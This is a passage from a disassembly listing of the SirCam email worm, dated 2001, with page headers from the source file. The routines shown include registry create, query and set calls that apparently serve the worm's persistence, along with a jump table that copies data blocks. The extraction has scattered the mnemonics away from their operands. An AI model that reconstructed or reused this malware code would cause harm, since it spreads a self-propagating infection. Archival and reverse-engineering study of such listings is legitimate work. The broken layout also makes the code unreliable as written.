loc_40E84F:
lea
push
lea
push
push
mov
push
push
push
push
mov
call
push
mov
mov
call
push
call
test
setz
; CODE XREF: sub_40E7C8+5B\030j
eax, [ebp+var_10]
eax
eax, [ebp+var_8]
eax
0
eax, [esi+18h]
eax
0
0
0
eax, [ebp+var_C]
sub_4038E8
eax
edx, ebx
eax, esi
sub_40E7B4
eax
j_RegCreateKeyExA
eax, eax
[ebp+var_2]
cmp
jz
cmp
setnz
test
jz
push
push
push
lea
mov
call
; CODE XREF: sub_40E7C8+85\030j
[ebp+var_2], 0
short loc_40E8B7
dword ptr [esi+4], 0
al
al, bl
short loc_40E8AA
dword ptr [esi+10h]
offset dword_40E8E8
[ebp+var_C]
eax, [ebp+var_C]
edx, 3
sub_4037E4
mov
mov
mov
call
ecx, [ebp+var_C]
edx, [ebp+var_8]
eax, esi
sub_40E790
xor
pop
pop
pop
mov
push
; CODE XREF: sub_40E7C8+BD\030j
eax, eax
edx
ecx
ecx
fs:[eax], edx
offset loc_40E8D4
loc_40E881:
loc_40E8AA:
; CODE XREF: sub_40E7C8+C8\030j
loc_40E8B7:
loc_40E8C4:
sub_40E7C8
414
; CODE XREF: CODE:0040E8D2\031j
lea
eax, [ebp+var_C]
call
sub_4034C8
retn
endp ; sp = -2Ch
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
loc_40E8CD:
; DATA XREF: sub_40E7C8+17\030o
jmp
loc_402F60
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
jmp
short loc_40E8C4
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
loc_40E8D4:
; DATA XREF: sub_40E7C8+F7\030o
mov
pop
pop
mov
pop
al, [ebp-2]
esi
ebx
esp, ebp
ebp
sircam.asm
Fri Aug 10 12:42:44 2001
415
retn
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
align 4
dd 0FFFFFFFFh, 1
dword_40E8E8
dd 5Ch
; DATA XREF: sub_40E7C8+CD\030o
; ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ S U B R O U T I N E ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ
sub_40E8EC
proc near
; CODE XREF: sub_40E93C+F\031p
; sub_40EAE4+5\031p
var_18
= dword ptr -18h
sub_40E8EC
push
ebx
push
esi
push
edi
push
ebp
push
ecx
mov
ebp, ecx
mov
edi, edx
mov
esi, eax
mov
eax, ebp
xor
ecx, ecx
mov
edx, 8
call
sub_4028D4
lea
eax, [ebp+4]
push
eax
push
0
lea
eax, [esp+8]
push
eax
push
0
mov
eax, edi
call
sub_4038E8
push
eax
mov
eax, [esi+4]
push
eax
call
j_RegQueryValueExA_0
test
eax, eax
setz
bl
mov
eax, [esp+18h+var_18]
call
sub_40E69C
mov
[ebp+0], al
mov
eax, ebx
pop
edx
pop
ebp
pop
edi
pop
esi
pop
ebx
retn
endp ; sp = -18h
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
align 4
; ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ S U B R O U T I N E ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ
sub_40E93C
proc near
var_4
= dword ptr -4
push
push
add
mov
mov
mov
mov
mov
ebx
esi
esp,
esi,
ebx,
ecx,
edx,
eax,
; CODE XREF: sub_40E990+F\031p
0FFFFFFF8h
edx
eax
esp
esi
ebx
sircam.asm
Fri Aug 10 12:42:44 2001
416
call
sub_40E8EC
test
al, al
jz
short loc_40E95A
mov
eax, [esp+8+var_4]
jmp
short loc_40E95D
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
loc_40E95A:
; CODE XREF: sub_40E93C+16\030j
or
eax, 0FFFFFFFFh
pop
pop
pop
pop
retn
endp
ecx
edx
esi
ebx
loc_40E95D:
sub_40E93C
; CODE XREF: sub_40E93C+1C\030j
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
align 4
; ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ S U B R O U T I N E ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ
sub_40E964
sub_40E964
proc near
push
ebx
push
esi
push
edi
mov
esi, ecx
mov
edi, edx
mov
ebx, eax
mov
eax, esi
call
sub_403724
inc
eax
push
eax
push
1
mov
eax, esi
call
sub_4038E8
mov
ecx, eax
mov
edx, edi
mov
eax, ebx
call
sub_40EA08
pop
edi
pop
esi
pop
ebx
retn
endp
; CODE XREF: sub_415EAC+BC\031p
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
align 4
; ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ S U B R O U T I N E ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ
sub_40E990
proc near
; CODE XREF: sub_415EAC+A9\031p
push
ebx
push
esi
push
edi
push
ebp
push
ecx
mov
edi, ecx
mov
ebp, edx
mov
esi, eax
mov
edx, ebp
mov
eax, esi
call
sub_40E93C
mov
ebx, eax
test
ebx, ebx
jle
short loc_40E9F9
mov
eax, edi
sircam.asm
Fri Aug 10 12:42:44 2001
mov
xor
call
push
lea
push
mov
call
mov
mov
mov
call
cmp
jz
cmp
jnz
417
ecx, ebx
edx, edx
sub_4035B0
ebx
eax, [esp+4]
eax
eax, [edi]
sub_4038E8
ecx, eax
edx, ebp
eax, esi
sub_40EA70
byte ptr [esp+0], 1
short loc_40E9D9
byte ptr [esp+0], 2
short loc_40E9F0
loc_40E9D9:
; CODE XREF: sub_40E990+41\030j
mov
eax, [edi]
call
sub_4038E8
call
sub_407534
mov
edx, eax
mov
eax, edi
call
sub_4039FC
jmp
short loc_40EA00
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
loc_40E9F0:
; CODE XREF: sub_40E990+47\030j
mov
eax, ebp
call
sub_40E62C
jmp
short loc_40EA00
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
loc_40E9F9:
; CODE XREF: sub_40E990+18\030j
mov
call
eax, edi
sub_4034C8
loc_40EA00:
sub_40E990
; CODE XREF: sub_40E990+5E\030j
; sub_40E990+67\030j
pop
pop
pop
pop
pop
retn
endp
edx
ebp
edi
esi
ebx
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
align 4
; ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ S U B R O U T I N E ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ
; Attributes: bp-based frame
sub_40EA08
proc near
var_C
var_8
var_4
arg_0
arg_4
=
=
=
=
=
dword ptr -0Ch
byte ptr -8
dword ptr -4
byte ptr 8
dword ptr 0Ch
; CODE XREF: sub_40E964+21\030p
push
mov
add
push
push
push
mov
mov
ebp
ebp, esp
esp, 0FFFFFFF4h
ebx
esi
edi
[ebp+var_4], ecx
edi, edx
sircam.asm
Fri Aug 10 12:42:44 2001
mov
mov
call
mov
mov
push
mov
push
push
push
mov
call
push
mov
push
call
test
jz
mov
mov
lea
push
push
mov
mov
mov
call
call
ebx, eax
al, [ebp+arg_0]
sub_40E66C
esi, eax
eax, [ebp+arg_4]
eax
eax, [ebp+var_4]
eax
esi
0
eax, edi
sub_4038E8
eax
eax, [ebx+4]
eax
j_RegSetValueExA
eax, eax
short loc_40EA66
[ebp+var_C], edi
[ebp+var_8], 0Bh
eax, [ebp+var_C]
eax
0
ecx, ds:off_41DBB8
dl, 1
eax, ds:off_40E564
sub_409548
sub_402F98
pop
pop
pop
mov
pop
retn
endp
edi
esi
ebx
esp, ebp
ebp
8
loc_40EA66:
sub_40EA08
418
; CODE XREF: sub_40EA08+38\030j
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
align 4
; ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ S U B R O U T I N E ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ
; Attributes: bp-based frame
sub_40EA70
proc near
var_C
var_8
var_4
arg_0
arg_4
=
=
=
=
=
dword ptr -0Ch
byte ptr -8
dword ptr -4
dword ptr 8
byte ptr 0Ch
; CODE XREF: sub_40E990+38\030p
push
mov
add
push
push
push
mov
mov
mov
xor
mov
lea
push
push
lea
push
push
ebp
ebp, esp
esp, 0FFFFFFF4h
ebx
esi
edi
edi, ecx
esi, edx
ebx, eax
eax, eax
[ebp+var_4], eax
eax, [ebp+arg_4]
eax
edi
eax, [ebp+var_4]
eax
0
sircam.asm
Fri Aug 10 12:42:44 2001
mov
call
push
mov
push
call
test
jz
mov
mov
lea
push
push
mov
mov
mov
call
call
loc_40EAC8:
sub_40EA70
mov
mov
call
mov
mov
mov
pop
pop
pop
mov
pop
retn
endp
419
eax, esi
sub_4038E8
eax
eax, [ebx+4]
eax
j_RegQueryValueExA_0
eax, eax
short loc_40EAC8
[ebp+var_C], esi
[ebp+var_8], 0Bh
eax, [ebp+var_C]
eax
0
ecx, ds:off_41DC90
dl, 1
eax, ds:off_40E564
sub_409548
sub_402F98
; CODE XREF: sub_40EA70+32\030j
ebx, dword ptr [ebp+arg_4]
eax, [ebp+var_4]
sub_40E69C
edx, [ebp+arg_0]
[edx], al
eax, ebx
edi
esi
ebx
esp, ebp
ebp
8
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
align 4
; ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ S U B R O U T I N E ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ
sub_40EAE4
sub_40EAE4
proc near
; CODE XREF: sub_415EAC+98\031p
add
esp, 0FFFFFFF8h
mov
ecx, esp
call
sub_40E8EC
pop
ecx
pop
edx
retn
endp
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
align 4
dd 0FFFFFFFFh, 1
dword_40EAFC
dd 30h, 0FFFFFFFFh, 1, 31h ; DATA XREF: DATA:0041C2F8\031o
; DATA:0041C2FC\031o
; ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ S U B R O U T I N E ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ
; Attributes: bp-based frame
sub_40EB0C
proc near
; DATA XREF: CODE:0041A938\031o
push
ebp
mov
ebp, esp
xor
eax, eax
push
ebp
push
offset loc_40EB48
push
dword ptr fs:[eax]
mov
fs:[eax], esp
inc
ds:dword_41E648
jnz
short loc_40EB3A
mov
eax, offset off_41C2F8
sircam.asm
Fri Aug 10 12:42:44 2001
420
mov
mov
call
ecx, 2
edx, ds:off_401000
sub_403BE8
xor
pop
pop
pop
mov
push
; CODE XREF: sub_40EB0C+17\030j
eax, eax
edx
ecx
ecx
fs:[eax], edx
offset loc_40EB4F
loc_40EB3A:
locret_40EB47:
; CODE XREF: sub_40EB0C+41\031j
retn
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
loc_40EB48:
; DATA XREF: sub_40EB0C+6\030o
jmp
loc_402F60
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
jmp
short locret_40EB47
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
loc_40EB4F:
sub_40EB0C
; CODE XREF: sub_40EB0C+3B\030j
; DATA XREF: sub_40EB0C+36\030o
pop
ebp
retn
endp ; sp = -4
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
align 4
loc_40EB54:
; DATA XREF: CODE:0041A934\031o
sub
ds:dword_41E648, 1
retn
; [00000006 BYTES: COLLAPSED FUNCTION j_ExtractIconA. PRESS KEYPAD "+" TO EXPAND]
align 4
; ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ S U B R O U T I N E ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ
; Attributes: bp-based frame
sub_40EB64
proc near
; DATA XREF: CODE:0041A940\031o
push
ebp
mov
ebp, esp
xor
eax, eax
push
ebp
push
offset loc_40EB89
push
dword ptr fs:[eax]
mov
fs:[eax], esp
inc
ds:dword_41E64C
xor
eax, eax
pop
edx
pop
ecx
pop
ecx
mov
fs:[eax], edx
push
offset loc_40EB90
locret_40EB88:
; CODE XREF: sub_40EB64+2A\031j
retn
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
loc_40EB89:
; DATA XREF: sub_40EB64+6\030o
jmp
loc_402F60
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
jmp
short locret_40EB88
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
loc_40EB90:
; CODE XREF: sub_40EB64+24\030j
; DATA XREF: sub_40EB64+1F\030o
pop
ebp
sircam.asm
sub_40EB64
Fri Aug 10 12:42:44 2001
421
retn
endp ; sp = -4
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
align 4
loc_40EB94:
sub
retn
; DATA XREF: CODE:0041A93C\031o
ds:dword_41E64C, 1
; ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ S U B R O U T I N E ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ
; Attributes: bp-based frame
sub_40EB9C
proc near
; CODE XREF: sub_40EBC4+70\031p
; sub_40EBC4+83\031p ...
push
mov
push
push
push
mov
mov
mov
ebp
ebp,
ebx
esi
edi
esi,
edx,
ebx,
mov
mov
add
add
dec
jnz
pop
pop
pop
pop
retn
endp
di, [edx]
[ebx], di
ebx, 2
edx, 2
esi
short loc_40EBAB
edi
esi
ebx
ebp
4
esp
80h
eax
ecx
loc_40EBAB:
sub_40EB9C
; CODE XREF: sub_40EB9C+1C\031j
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
align 4
; ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ S U B R O U T I N E ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ
sub_40EBC4
proc near
; CODE XREF: sub_40EDA4+3E\031p
; sub_40EDA4+51\031p
and
eax, 7Fh
cmp
eax, 13h
; switch 20 cases
ja
locret_40EDA2
; default
jmp
ds:off_40EBD7[eax*4] ; switch jump
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
off_40EBD7
dd offset loc_40EC27
; DATA XREF: sub_40EBC4+C\030r
dd offset loc_40EC3A
; jump table for switch statement
dd offset loc_40EC4D
dd offset loc_40EC60
dd offset loc_40EC73
dd offset loc_40EC86
dd offset loc_40EC99
dd offset loc_40ECAC
dd offset loc_40ECBF
dd offset loc_40ECD2
dd offset loc_40ECE5
dd offset loc_40ECF8
dd offset loc_40ED0B
dd offset loc_40ED1E
dd offset loc_40ED31
dd offset loc_40ED44
dd offset loc_40ED57
dd offset loc_40ED6A
sircam.asm
Fri Aug 10 12:42:44 2001
422
dd offset loc_40ED7D
dd offset loc_40ED90
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
loc_40EC27:
; CODE XREF: sub_40EBC4+C\030j
; DATA XREF: sub_40EBC4+13\030o
ecx
; case 0x0
eax, offset unk_41C300
ecx, edx
edx, 7Fh
sub_40EB9C
push
mov
mov
mov
call
retn
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
loc_40EC3A:
; CODE XREF: sub_40EBC4+C\030j
; DATA XREF: sub_40EBC4+13\030o
ecx
; case 0x1
eax, offset unk_41C400
ecx, edx
edx, 7Fh
sub_40EB9C
push
mov
mov
mov
call
retn
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
loc_40EC4D:
; CODE XREF: sub_40EBC4+C\030j
; DATA XREF: sub_40EBC4+13\030o
ecx
; case 0x2
eax, offset unk_41C500
ecx, edx
edx, 7Fh
sub_40EB9C
push
mov
mov
mov
call
retn
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
loc_40EC60:
; CODE XREF: sub_40EBC4+C\030j
; DATA XREF: sub_40EBC4+13\030o
ecx
; case 0x3
eax, offset unk_41C600
ecx, edx
edx, 7Fh
sub_40EB9C
push
mov
mov
mov
call
retn
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
loc_40EC73:
; CODE XREF: sub_40EBC4+C\030j
; DATA XREF: sub_40EBC4+13\030o
ecx
; case 0x4
eax, offset unk_41C700
ecx, edx
edx, 7Fh
sub_40EB9C
push
mov
mov
mov
call
retn
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
loc_40EC86:
; CODE XREF: sub_40EBC4+C\030j
; DATA XREF: sub_40EBC4+13\030o
ecx
; case 0x5
eax, offset unk_41C800
ecx, edx
edx, 7Fh
sub_40EB9C
push
mov
mov
mov
call
retn
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
loc_40EC99:
push
mov
mov
mov
; CODE XREF: sub_40EBC4+C\030j
; DATA XREF: sub_40EBC4+13\030o
ecx
; case 0x6
eax, offset unk_41C900
ecx, edx
edx, 7Fh
sircam.asm
Fri Aug 10 12:42:44 2001
423
call
sub_40EB9C
retn
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
loc_40ECAC:
; CODE XREF: sub_40EBC4+C\030j
; DATA XREF: sub_40EBC4+13\030o
ecx
; case 0x7
eax, offset unk_41CA00
ecx, edx
edx, 7Fh
sub_40EB9C
push
mov
mov
mov
call
retn
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
loc_40ECBF:
; CODE XREF: sub_40EBC4+C\030j
; DATA XREF: sub_40EBC4+13\030o
ecx
; case 0x8
eax, offset unk_41CB00
ecx, edx
edx, 7Fh
sub_40EB9C
push
mov
mov
mov
call
retn
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
loc_40ECD2:
; CODE XREF: sub_40EBC4+C\030j
; DATA XREF: sub_40EBC4+13\030o
ecx
; case 0x9
eax, offset unk_41CC00
ecx, edx
edx, 7Fh
sub_40EB9C
push
mov
mov
mov
call
retn
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
loc_40ECE5:
; CODE XREF: sub_40EBC4+C\030j
; DATA XREF: sub_40EBC4+13\030o
ecx
; case 0xa
eax, offset unk_41CD00
ecx, edx
edx, 7Fh
sub_40EB9C
push
mov
mov
mov
call
retn
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
loc_40ECF8:
; CODE XREF: sub_40EBC4+C\030j
; DATA XREF: sub_40EBC4+13\030o
ecx
; case 0xb
eax, offset unk_41CE00
ecx, edx
edx, 7Fh
sub_40EB9C
push
mov
mov
mov
call
retn
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
loc_40ED0B:
; CODE XREF: sub_40EBC4+C\030j
; DATA XREF: sub_40EBC4+13\030o
ecx
; case 0xc
eax, offset unk_41CF00
ecx, edx
edx, 7Fh
sub_40EB9C
push
mov
mov
mov
call
retn
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
loc_40ED1E:
push
mov
mov
mov
; CODE XREF: sub_40EBC4+C\030j
; DATA XREF: sub_40EBC4+13\030o
ecx
; case 0xd
eax, offset unk_41D000
ecx, edx
edx, 7Fh
sircam.asm
Fri Aug 10 12:42:44 2001
424
call
sub_40EB9C
retn
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
loc_40ED31:
; CODE XREF: sub_40EBC4+C\030j
; DATA XREF: sub_40EBC4+13\030o
ecx
; case 0xe
eax, offset unk_41D100
ecx, edx
edx, 7Fh
sub_40EB9C
push
mov
mov
mov
call
retn
